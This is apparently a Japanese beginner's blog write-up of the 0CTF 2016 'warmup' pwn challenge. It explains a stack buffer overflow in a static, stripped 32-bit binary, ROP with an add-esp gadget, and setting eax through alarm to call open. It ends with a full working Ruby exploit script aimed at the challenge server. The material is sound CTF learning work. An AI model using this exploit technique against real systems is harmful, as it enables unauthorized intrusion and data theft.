読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

0ctf 2016 warmup(Exploit2)

Writeup

Cpawとして参加していましたが、1問も解けず😇😇😇
しかし、終了後に某プロのwriteupを見て(毎回とても助かっています.本当にありがとうございます).
すごく納得できたので、まとめておくと同時に初めて自分でシステムコールを呼び出す問題だったのでその点も含めてまとめようと思った.

下調べ

問題文

warmup for pwning!
Notice: This service is protected by a sandbox, you can only read the flag at /home/warmup/flag 202.120.7.207 52608

サンドボックスなので、/bin配下が読めないかなーと推測することができる.したがってどうにかflagというファイルをopen->read->writeするという3ステップを踏む必要があると押さえておく.

バイナリとしてはこんな感じ.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

$ file warmup | sed -e 's/, /\n/g'
warmup: ELF 32-bit LSB  executable
Intel 80386
version 1 (SYSV)
statically linked
BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11
stripped

staticallyでstrippedという初心者の私にはつらいバイナリだった.

解析と方針

プログラム自体は,標準入力を受け取るだけ.
しかし32byteでBOFしてリターンアドレスを上書きすることがわかる.この時点でROPで行けそうという感じだったが, popNretがなかった.しかし代わりにadd_esp48というガジェットがあったのでこれを利用できそうだと考えることができる.espをずらすことで引数部分が上書きされるのを避けることができる.
(反省点: retだけじゃどうにもならないという硬い発想が邪魔してadd_espということに気づくことができなかったのが解けなかった原因だと思う)

gdbでいろいろ見ているとalarm, write, readという3つの関数でこのプログラムが構成されていることに気が付くと同時にopenがないことが明らかになる.つまり自力でopenシステムコールを呼ばなくてはいけないということだ.

だが,私はシステムコールについての知識があまりなかったので調べてみた.

システムコール システムコールとは、カーネルの機能を呼ぶためのものである.
writeやread,openなどそれらの機能であるが, 大抵のプログラミング言語ではラッパー関数のようなものが用意されている.
そして内部的にはint 0x80という命令がシステムコールを発行するらしい.
この時どのシステムコールを呼びだすかなどは引数によって決まるらしい.
x86においては以下のようになっていた.

レジスタ 用途
eax システムコール番号
ebx 第1引数
ecx 第2引数
edx 第3引数
esi 第4引数
edi 第5引数

またシステムコール番号は,ぐぐったりすれば出てくる.
ちなみにwriteは1, readは3, alarmは27である.

ためしにalarm関数の部分を見た.

gdb-peda$ x/3wi 0x804810d
0x804810d:   mov    eax,0x1b
0x8048112:   mov    ebx,DWORD PTR [esp+0x4] //10
0x8048116:   int    0x80

eaxに0x1b(=27)が入り, 第一引数のebxに値を入れて後、int 0x80命令を実行しており、調べた通りになっていた.

これらのことを踏まえるとopenシステムコールを呼ぶにはどうにか各レジスタに適切な値を入れなければいけない.具体的には,

open("/home/warmup/flag", 0)

のように呼ぶために, eaxに5, ebxにパス, ecxに0を入れる必要がある.

しかしeaxに任意の値を入れることが難しかったがkatagaitaiCTFの資料を見るとalarm関数を使うと(正確には関数の返り値)を用いることでeaxに値をセットできることを知った.またalarm関数は2回目以降は前回設定してから経過した秒数が返り値になるそうで、初回引数を10として実行しているので, 5秒待てば良いということがわかる.

openしたら、次にそのファイルディスクリプタ(0は標準入力、1は標準出力、2は標準エラー出力であることを考えると次の3が割り当てられるとかんがえられる)を利用してread(3, buffer, flag's length)、write(1, buffer, flag's length)すれば良い.

これらの方針を踏まえて以下のexploitコードを書いた.

Exploit

#coding: utf-8              
#Thanks @CharoIT!
#https://github.com/Charo-IT/pwnlib                              
require 'pwnlib.rb'

host = "localhost"
port = 8888

if ARGV[0] == "r"
  host = "202.120.7.207"
  port = 52608
end

# オーバフローさせる文字列を作成
def overflow(eip, b, c, d, e)
  "A" * 32 + [eip, b, c, d, e].pack("L*")
end

PwnTube.open(host, port) do |tube|

  tube.debug = true

  bss   = 0x8049000 # buffer
  exit  = 0x804814d 
  vuln  = 0x804815a # addesp_48
  read  = 0x804811d  
  write = 0x8048135
  alarm = 0x804810d
  syscall_arg3 = 0x8048122 #ebx, ecx, edx, int 0x80
  path = "/home/warmup/flag\x00"

  tube.recv_until("Welcome to 0CTF 2016!\n")

  #read(0, bss, flag_path_length)
  tube.send(overflow(read, vuln, 0, bss, path.length))
  tube.send(path)

  #alarm(10)->after 5s-> eax = 5
  sleep(5)

  #open("/home/warmup/flag", O_RDONLY)
  tube.send(overflow(alarm, syscall_arg3, vuln, bss, 0))

  #read(3, bss, flag_size)
  tube.send(overflow(read, vuln, 3, bss, 64))

  #write(1, bss, flag_size)
  tube.send(overflow(write, exit, 1, bss, 64))

  tube.interactive #=> 0ctf{welcome_it_is_pwning_time}
end